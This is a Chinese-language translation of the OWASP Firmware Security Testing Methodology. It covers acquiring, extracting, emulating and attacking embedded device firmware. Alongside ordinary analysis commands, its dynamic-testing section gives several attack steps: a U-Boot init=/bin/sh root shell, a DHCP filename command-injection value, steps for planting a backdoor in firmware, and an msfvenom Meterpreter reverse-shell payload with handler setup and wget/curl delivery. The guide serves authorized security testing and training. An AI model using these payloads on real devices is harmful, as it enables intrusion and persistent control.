Firmware Security Testing Methodology(FSTM)

https://github.com/scriptingxss/owasp-fstm/

1.信息收集

获取有关目标设备固件的所有相关技术文档的详细信息

2.获取固件

使用列出的一种或多种建议的方法获得固件

3.分析固件

检查目标固件的特征

4.提取文件系统

从目标固件中获取文件系统

5.分析文件系统

静态分析提取的文件的系统配置文件和二进制文件中的漏洞

6.固件仿真

模拟固件文件和组件

7.动态分析

针对固件和应用程序接口执行动态安全性测试

8.运行时分析

在设备运行时分析编译的二进制文件

9.二进制漏洞利用

利用在上述手段发现的漏洞来实现代码执行

[阶段1]信息搜集与侦察

在此阶段,请收集有关目标的尽可能多的信息,以了解其基础技术的总体组成。尝试收集以下内容:

  • 支持的CPU架构
  • 操作系统平台
  • 引导程序配置
  • 硬件原理图
  • 数据表
  • 代码量(LoC:Line of code)
  • 源代码存储库位置
  • 第三方组件
  • 开源许可证(例如GPL)
  • 变更日志
  • FCC IDs
  • 设计和数据流程图
  • 威胁模型
  • 旧的渗透测试报告
  • 老旧问题跟踪(例如,Jira和漏洞赏金平台,例如BugCrowd或HackerOne)

免费的静态代码扫描工具:

https://github.com/mkj/dropbear

https://scan.coverity.com/

https://lgtm.com/#explore

http://www.denx.de/wiki/U-Boot/WebHome

[阶段2]获取固件

要开始查看固件内容,必须获取固件映像文件。尝试使用以下一种或多种方法获取固件内容:

  • 直接来自开发团队,制造商/供应商或客户
  • 使用制造商提供的项目从头编译
  • 在供应商的支持站点、文档说明站点上搜索
  • 针对二进制文件扩展名和文件共享平台(如Dropbox,Box和Google drive)的Google dork查询
    • 通常客户会看到固件映像,这些客户将内容上载到论坛,博客或在与制造商联系以解决问题并通过zip或闪存驱动器获得固件的网站上发表评论。
  • 设备更新期间的中间人(MITM)攻击
  • 暴露的云提供商存储位置(例如Amazon Web Services(AWS)S3存储桶)下载构建版本
  • 通过UART,JTAG,PICit等直接从硬件中提取
  • 嗅探硬件组件内的串行通信以更新服务器请求
  • 通过移动应用程序内的硬编码接口
  • 将固件从引导加载程序(例如U-boot)转储到闪存或通过tftp通过网络转储
  • 从板上卸下闪存芯片(例如SPI)或MCU,以进行离线分析和数据提取。
    • 需要相应的芯片编程器来存储flash/MCU。

*注意:从公开的云提供商存储服务下载数据时,请确保遵守当地法律法规。

列出的每种方法的难度各不相同,不应视为详尽的列表。根据项目目标和参与规则选择适当的方法。如果可能,请请求固件的调试版本和发布版本,以在发布版本中编译调试代码或功能时最大程度地覆盖测试用例。

[阶段3]分析固件

获取固件映像后,请浏览文件的各个方面以识别其特征。使用以下步骤分析固件文件类型,潜在的根文件系统元数据,并进一步了解为其编译的平台。

利用binutils,例如:

file <bin>
strings
strings -n5 <bin>
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header

如果以上方法均未提供任何有用的数据,则可能会发生以下情况:

如果二进制文件可以加密,请使用binwalk使用以下命令检查熵:

$ binwalk -E <bin>

低熵=不太可能被加密;

高熵=可能已加密(或以某种方式压缩)。

也可以使用Binvis在线和独立应用程序使用其他工具。

  • Binvis

    • https://code.google.com/archive/p/binvis/
    • https://binvis.io/#/

[阶段4]提取文件系统

此阶段涉及查看固件内部并解析相关文件系统数据,以开始识别尽可能多的潜在安全问题。使用以下步骤提取固件内容,以检查以下阶段中使用的未编译代码和设备配置。自动和手动提取方法如下所示。

1.使用以下工具和方法来提取文件系统内容:

$ binwalk -ev <bin>

文件将提取到“ _binaryname/filesystemtype/

文件系统类型:squashfs,ubifs,romfs,rootfs,jffs2,yaffs2,cramfs,initramfs;

2a.有时,binwalk的签名中不会包含文件系统的魔法字节。在这些情况下,请使用binwalk查找文件系统的偏移量,然后从二进制文件中分割压缩的文件系统,并使用以下步骤根据其类型手动提取文件系统。

$ binwalk DIR850L_REVB.binDECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41

2b.运行以下dd命令展示Squashfs文件系统。

$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs8257536+0 records in8257536+0 records out8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s

或者,也可以运行以下命令。

$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs

2c.对于squashfs文件(在上面的示例中使用)

$ unsquashfs dir.squashfs

之后,文件将位于“ squashfs-root”目录中。

2d.CPIO存档文件

$ cpio -ivd --no-absolute-filenames -F <bin>

2f.对于jffs2文件系统

$ jefferson rootfsfile.jffs2

2d.对于具有NAND闪存的ubifs文件系统

$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>

[阶段5]分析文件系统内容

在此阶段,将收集有关动态和运行时分析阶段的线索。研究目标固件是否包含以下内容(非穷举性):

  • 不安全网络守护程序,例如telnetd(有时会伪装重命名二进制文件)
  • 硬编码的凭证(用户名,密码,API密钥,SSH密钥和后门变体)
  • 硬编码的API端点和后端服务器详细信息
  • 更新可用作入口点的服务器功能
  • 查看未编译的代码并启动脚本以执行远程代码
  • 提取已编译的二进制文件,使用反汇编程序进行脱机分析

手动静态分析文件系统内容和未编译的代码,或利用诸如Firmwalker之类的自动化工具来分析以下内容:

  • etc/shadow和etc/passwd
  • etc/ssl
  • 搜索与SSL相关的文件,例如.pem,.crt等。
  • 搜索配置文件
  • 寻找脚本文件
  • 搜索其他.bin文件
  • 查找诸如admin,password,remote,AWS key等关键字。
  • 搜索物联网设备上使用的通用Web服务器
  • 搜索常见的二进制文件,例如ssh,tftp,dropbear等。
  • 搜索禁止的C函数
  • 搜索常见的命令注入易受攻击的功能
  • 搜索URL,电子邮件地址和IP地址

以下小节介绍了开源自动固件分析工具。

Firmwalker

一个用于搜索固件文件系统敏感信息的脚本;对已解包的固件系统使用,搜索其中的敏感文件内容。

在~/tools/firmwalker的目录中执行firmwalker,并将firmwalker指向提取的文件系统根目录的绝对路径。Firmwalker使用/data/目录中的信息来解析规则,可以在GitHub上的https://github.com/scriptingxss/firmwalker上找到由Aaron Guzman修改并带有其他检查的自定义派生。在OWASP的IoTGoat上使用的firmwalker。其他易受攻击的固件项目在文档末尾的“ 易受攻击的固件”部分中列出。

$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/

将生成两个文件firmwalker.txt和firmwalkerappsec.txt。

固件分析比较工具包(FACT:Firmware Analysis and Comparison Tool)

https://github.com/fkie-cad/FACT_core

FACT功能包括以下内容:

  • 标识软件组件(例如操作系统,CPU体系结构和第三方组件)及其关联的版本信息
  • 从镜像中提取固件文件系统
  • 检测证书和私钥
  • 检测CWE
  • 基于提要和签名的漏洞检测
  • 基本静态行为分析
  • 固件版本和文件的比较(差异)
  • 使用QEMU的文件系统仿真系统来模拟二进制文件运行
  • 检测二进制缓解措施,例如NX,DEP,ASLR,stack canaries,RELRO和FORTIFY_SOURCE
  • REST API

自动检查上述多个二进制属性的脚本是checksec.sh。Checksec是一个bash脚本,用于检查可执行文件的属性(例如PIE,RELRO,PaX,Canaries,ASLR,Fortify Source)。

https://github.com/slimm609/checksec.sh

对于Microsoft二进制文件(EXE和DLL),请使用PE安全检查ASLR,DEP,SafeSEH,StrongNaming,Authenticode,Control Flow Guard和HighEntropyVA。

https://github.com/NetSPI/PESecurity

[阶段6]仿真固件

使用前面步骤中确定的详细信息和线索,必须模拟固件及其封装的二进制文件,以验证潜在的漏洞。为了完成仿真固件,下面列出了几种方法。

  • 部分仿真(用户模式)-仿真从固件提取的文件系统(例如)获得的独立二进制文件 /usr/bin/shellback
  • 完整的系统仿真-完整的固件仿真和利用伪造的NVRAM的启动配置。
  • 使用真实设备或虚拟机进行仿真-由于硬件或体系结构的依赖性,部分或全部仿真可能无法正常工作。如果架构和字节序与拥有的设备(例如树莓派)匹配,则可以将根文件系统或特定二进制文件传输到该设备以进行进一步测试。此方法还适用于使用与目标相同的体系结构和字节序的预构建虚拟机。

部分仿真(用户模式仿真)

要开始部分仿真二进制文件,必须了解CPU架构和字节序,以便在以下步骤中选择适当的QEMU仿真二进制文件。

$ binwalk -Y <bin>
$ readelf -h <bin>

el  代表:little endian,小端结构

eb 代表:big endian,大端结构

字节序的获取:

使用Binwalk识别打包的固件二进制文件的字节序(不是提取固件中的二进制文件)。

$ binwalk -Y

确定CPU体系结构和字节序后,找适合的QEMU二进制文件以执行部分​​仿真(不是用于仿真完整固件,而是用于具有提取的固件的二进制文件。)

通常在:/usr/local/qemu-arch 或者 /usr/bin/qemu-arch

将适用的QEMU二进制文件复制到提取的根文件系统中。第二条命令显示将静态臂QEMU二进制文件复制到ZSH shell中提取的根文件系统,该文件显示了绝对路径。

> cp /usr/local/qemu-arch /extractedrootFS//home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
> cp /usr/bin/qemu-arm-static .

执行 ARM 二进制文件(或其他的体系结构)使用 QEMU 和 chroot 进行仿真

$ sudo chroot ../qemu-arch <binarytoemulate>

示例:

> sudo chroot . ./qemu-arm-static bin/busybox ls

开启5515上的侦听服务

sudo chroot . ./qemu-arm-static usr/bin/shellback

在另一个终端上开启本地监听,使用 netcat 尝试连接该服务

sudo lsof -i :5515nc -nv 127.0.0.1 5515

MIPS CGI 二进制文件,向该文件发出POST请求

sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="POST" -E REQUEST_URI=<request_uri> -E REMOTE_ADDR=<ip_addr> -E HTTP_COOKIE=<custom_cookie> -g <port> <path to cgi binary>

通过上述手段模拟了目标二进制文件,可以使用其应用程序和网络接口,与其进行交互。

全系统仿真

使用Firmadyne,固件分析工具包(FAT)或ARM-X固件仿真框架等自动化工具来执行固件的完整仿真。这些工具实际上是QEMU和其他环境功能(例如nvram)的包装器。

  • FAT https://github.com/attify/firmware-analysis-toolkit
  • ARM-X https://github.com/therealsaumil/armx/
  • Firmadyne https://github.com/firmadyne/firmadyne
  • Qiling https://github.com/qilingframework/qiling#qltool

使用固件分析工具包,只需执行以下命令:

sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0

[阶段7]动态分析

  1. 篡改引导程序配置
  2. Web和API测试
  3. 模糊测试(网络和应用程序服务)
  4. 使用各种工具集进行主动扫描以获取提升的访问权限(根)
  5. 代码执行
  • Burp Suite
  • OWASP ZAP
  • Commix
  • Fuzzers such as - American fuzzy loop (AFL)
  • Network and protocol fuzzers such as -Mutiny,boofuzz, andkitty.
  • Nmap
  • NCrack
  • Metasploit

嵌入式Web应用程序测试

参考行业标准的Web方法,例如OWASP的测试指南应用程序安全验证标准(ASVS)

检查内容:

  • 诊断和故障排除页面可能存在命令注入
  • 验证和授权方案对整个固件中的应用程序和操作系统平台的相同框架进行验证
  • 默认的用户名、密码
  • 在网页执行目录遍历或文件读取,以识别调试或测试功能
  • 在 SOAP/XML 和 API 传输中的输入检查 ,如:XSS 和 XXE
  • 跟踪观察应用程序中的参数查看异常点和堆栈溢出点
    • 常见的 C/C++ 漏洞、常见的嵌入式 Web 应用程序的有效负载,如:内存损坏漏洞、格式字符串缺陷、整数溢出

根据产品及其应用程序界面的不同,测试用例也会有所不同。

引导加载程序测试

修改设备启动和引导加载程序(例如U-boot)时,可尝试:

  • 在引导过程中加 “0”、空格、或其他标识的“魔术代码”来获取 shell
  • 修改配置以执行 shell 命令,如:引导参数末尾 “init=/bin/sh”
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3
mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
  • 设置一个 tftp 服务器,从本地通过网络加载远程图像(前提是设备有网络访问权限)
#setenv ipaddr 192.168.2.2 #local IP of the device
#setenv serverip 192.168.2.1 #tftp server IP
#saveenv
#reset
#ping 192.168.2.1 #check if network access is available
#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP server
  • 使用 ubootwrite.py 编写 uboot-image 并且安装修改过的固件来获取 root
  • 查看启用的调试功能,如:详细记录、加载任意内核、从不受信任的来源引导
  • 使用警告:使用引脚连接主板,观察设备启动顺序,在内核解压缩之前,将连接主板的引脚短路或者连接到 SPI 闪存芯片上的数据引脚(DO)
  • 使用警告:使用引脚连接主板,观察设备启动顺序,在内核解压缩之前,在 U-boot 对 UBI 映像解压缩时,将连接主板的引脚短路或连接到 NAND 闪存芯片的引脚 8 和 9
    • 在短接引脚之前请查看 NAND 闪存芯片的数据表
  • 使用恶意参数配置恶意 DHCP 服务器作为设备在 PXE 引导期间提取的输入
    • 使用 Metasploit DHCP 辅助服务器,进行命令注入,比如修改参数 FILENAME 为 a";/bin/sh;#,来测试设备启动过程的输入验证

固件完整性测试

尝试上传自定义固件或已编译的二进制文件,以检查完整性或签名验证漏洞。

例如,使用以下步骤编译在启动中的后门。

  1. 使用固件修改包(FMK:Firmware-tool-kit)提取固件
  2. 确定目标固件架构和字节序
  3. 使用Buildroot构建交叉编译器或使用其他合适的环境
  4. 使用交叉编译器构建后门
  5. 将后门复制到解压缩的固件/ usr / bin中
  6. 将适当的QEMU二进制文件复制到提取的固件rootfs
  7. 使用chroot和QEMU模拟后门
  8. 通过netcat连接到后门
  9. 从提取的固件rootfs中删除QEMU二进制文件
  10. 用FMK重新打包修改后的固件
  11. 使用固件分析工具包(FAT)进行仿真并使用netcat连接到目标后门IP和端口来测试后门固件

如果已经从动态分析,引导加载程序操纵或硬件安全测试手段获得了root shell,请尝试执行预编译恶意二进制文件,例如即在二进制文件中植入程序或反向 shelll,使用自动化的有效载荷或工具( C&C )框架进行命令执行和控制,如可以使用Metasploit框架和msfvenom。

  1. 确定目标固件架构和字节序
  2. 使用msfvenom生成有效载荷(-p),攻击者主机IP(LHOST =),侦听端口号(LPORT =)文件类型(-f),结构体系(--arch),平台(--platform Linux或Windows)和输出文件(-o)。例如,msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux
  3. 将有效负载传输到受攻击的设备(例如,本地运行Web服务器,并将有效负载wget / curl到文件系统中),并确保有效载荷具有执行权限
  4. 准备Metasploit处理传入的请求。例如,使用msfconsole启动Metasploit,并根据上面的有效负载使用以下设置:use exploit / multi / handler,
    • set payload linux/armle/meterpreter_reverse_tcp
    • set LHOST 192.168.1.245 #attacker host IP
    • set LPORT 445 #can be any unused port
    • set ExitOnSession false
    • exploit -j -z
  5. 在受攻击的设备中执行 meterpreter reverse
  6. 查看meterpreter seessions
  7. 进行后渗透

如果可能,请在启动脚本中确定一个漏洞,以在重新启动后获得对设备的持久访问。当启动脚本引用,符号链接或依赖位于不受信任的安装位置(例如SD卡)和用于在根文件系统外部存储数据的闪存卷时,会出现此类漏洞。

[阶段8]运行时分析

运行时分析涉及在设备在其正常或仿真环境中运行时附加到正在运行的进程或二进制文件。下面提供了基本的运行时分析步骤:

  1. sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>
  2. 附加gdb-multiarch或使用IDA模拟二进制文件
  3. 为步骤4中识别的功能设置断点,例如memcpy,strncpy,strcmp等。
  4. 使用模糊器执行较大的有效负载字符串以识别溢出或进程崩溃
  5. 如果发现漏洞,请移至步骤8

一些可能使用的工具:

  • gdb-multiarch
  • Peda
  • Frida
  • ptrace
  • strace
  • IDA Pro
  • Ghidra
  • Binary Ninja
  • Hopper

[阶段9]二进制利用

在从之前的步骤中识别出二进制文件中的漏洞之后,需要(PoC)在真实环境中验证。编写漏洞利用代码需要掌握低级语言(例如ASM,C / C ++,shellcode等)的编程以及了解特定目标体系结构(例如MIPS,ARM,x86等)中的背景知识。PoC代码涉及通过控制内存中的指令在设备或应用程序上获得任意执行。

二进制运行时保护(例如NX,DEP,ASLR等)在嵌入式系统中并不常见,但是,当发生这种情况时,可能需要其他技术,例如面向返回的编程 Return-oriented Programming(ROP)ROP允许攻击者通过链接目标进程或二进制代码中的现有代码来实施任意恶意功能。将需要采取步骤,通过形成ROP链来利用已识别的漏洞,例如缓冲区溢出。在这种情况下可能有用的工具是Capstone's gadget finder或ROPGadget-https://github.com/JonathanSalwan/ROPgadget

利用以下参考资料提供进一步的指导:

  • https://azeria-labs.com/writing-arm-shellcode/
  • https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/

固件和二进制分析工具

在评估固件时将使用多种工具。下面列出的是常用工具。

  • Firmware Analysis Comparison Toolkit(FACT)
  • FWanalyzer
  • Firmwalker
  • Firmware Modification Kit
  • Firmadyne
  • ByteSweep
  • Binwalk
  • Flashrom
  • Openocd
  • Angr binary analysis framework
  • Binary Analysis Tool
  • Checksec.sh
  • CHIPSEC
  • Qiling Advanced Binary Emulation Framework
  • Triton dynamic binary analysis (DBA) framework

用于测试的固件项目

要练习发现固件中的漏洞,请使用以下易受攻击的固件项目作为起点。

  • OWASP IoTGoat

    • https://github.com/OWASP/IoTGoat
  • The Damn Vulnerable Router Firmware Project
    • https://github.com/praetorian-code/DVRF
  • Damn Vulnerable ARM Router (DVAR)
    • https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html
  • ARM-X
    • https://github.com/therealsaumil/armx#downloads
  • Azeria Labs VM 2.0
    • https://azeria-labs.com/lab-vm-2-0/
  • Damn Vulnerable IoT Device (DVID)
    • https://github.com/Vulcainreo/DVID

OWASP固件安全测试相关推荐

  1. OWASP固件安全性测试指南

    原文地址 固件安全评估,英文名称firmware security testing methodology简称FSTM.该指导方法主要是为了安全研究人员.软件开发人员.顾问.爱好者和信息安全专业人员进 ...

  2. 固件安全测试入门学习手册 (新手必看)

    0x01 信息收集 在此阶段,收集有关目标的尽可能多的信息,以了解其基础技术的总体组成.尝试收集以下内容: · 支持的CPU架构 · 操作系统平台 · 引导程序配置信息(Bootloader conf ...

  3. OWASP ZAP安全测试工具使用教程(初级)

    OWASP ZAP安全测试工具使用教程 1.安装OWASP ZAP安全测试工具百度网盘地址: https://pan.baidu.com/s/1NxFclyIRMlkg4KUTq9N4PA 密码:er ...

  4. 论文FirmAFL固件模糊测试工具——复现之路

    目前在学习研究针对IOT固件的虚拟化仿真,以及基于虚拟化技术的IOT固件模糊测试.FIRM-AFL作为USENIX安全顶会上发表的IOT固件模糊测试技术,对其进行复现和研究很有学习价值.但是在复现过程 ...

  5. OWASP ZAP安全测试工具使用教程(高级)

    OWASP ZAP安全测试工具使用教程(高级) 1.设置安全测试策略 点击分析–>扫描策略–>进入到扫描策略界面 设置等级越高,扫描深度和扫描范围越强 2.设置扫描代理 点击工具–> ...

  6. 三星s8自带测试硬件软件,三星S8手机国行固件开启测试:或支持桌面级操作体验...

    在经历了三星Note7的滑铁卢之后,三星重新定义自家高端旗舰手机的重担落在了今年即将发布的S8上,按照之前三星发布旗舰机的传统,三星可能依然会有多款S8旗舰手机同时发布,之前广受好评的Edge延续应该 ...

  7. OWASP WebGoat---安全测试学习笔记(一)

    编者按: 作为一名黑盒测试人员,我是今年初开始接触安全性测试这个方向的.但是在学习安全性测试时,感觉知识点很碎,或者说缺少纲领性的东西,很难下手或迈出第一步.后来找到了OWASP top 10, 进而 ...

  8. owasp top10 渗透测试

    本期内容 1.了解什么是渗透测试 2.常见漏洞有哪写 3.练习测试 目录 一.渗透测试 1.介绍 1.什么是 OWASP TOP 10 二.常见漏洞 的攻击方式 原因 和影响 A1 注入漏洞 攻击方式 ...

  9. 如何充分利用开源项目_充分利用最好的5个开源转移学习项目来增强您的项目...

    如何充分利用开源项目 Transfer Learning is the process of taking a network pre-trained on a dataset and utilizi ...

最新文章

  1. 《Java编程思想》第四版读书笔记 第十四章 类型信息
  2. vs2012中 build、compile,debug区别
  3. 告诉你你也学不会!中台灵感 SuperCell 的管理之道!
  4. 工业级服务器销售电话,工业级服务器
  5. 数学之路(2)-数据分析-R基础(4)
  6. Android Studio 约束布局[ConstraintLayout]
  7. 说说你对http、https、http2.0的理解【前端每日一题-25】
  8. 一直在构建版本_构建系统与代码结构SpringBoot
  9. css 关闭按钮实现,CSS做的关闭按钮动效
  10. eclipse 中 Android sdk 无法更新的问题
  11. 苹果应用上架遇到的问题(2017年4月27日)
  12. 手写token解析器、语法解析器、LLVM IR生成器(GO语言)
  13. 无水印的html5制作软件,ScreenToGif-开源、简单、无水印的gif动图制作软件
  14. ETL工具——Taskctl Web应用篇
  15. 数理统计中的卡方分布,t分布和F分布
  16. 谷歌 draco学习 二 压缩点信息
  17. 绿色开发关乎准东未来
  18. 我用FreeMind 思维导图工具
  19. 如何解决HEVC编码格式不能播放的问题?
  20. 代数基础 | Kronecker积

热门文章

  1. 非全也要卷?复旦大学软件非全很多高分
  2. 重构26-Remove Double Negative(去掉双重否定)
  3. rocksdb 备份backup
  4. YMatrix 番外篇|透过镜头,那些不为人知的故事
  5. ssssssssssssssss
  6. n阶矩阵乘以n阶矩阵的朴素做法
  7. 【数论】——Catalan 卡特兰数
  8. WSO2 ESB 学习(二) ---安装篇
  9. 小白从零开始:STM32双闭环(速度环、位置环)电机控制(硬件篇)
  10. 为了caffe(四)学习人家的文章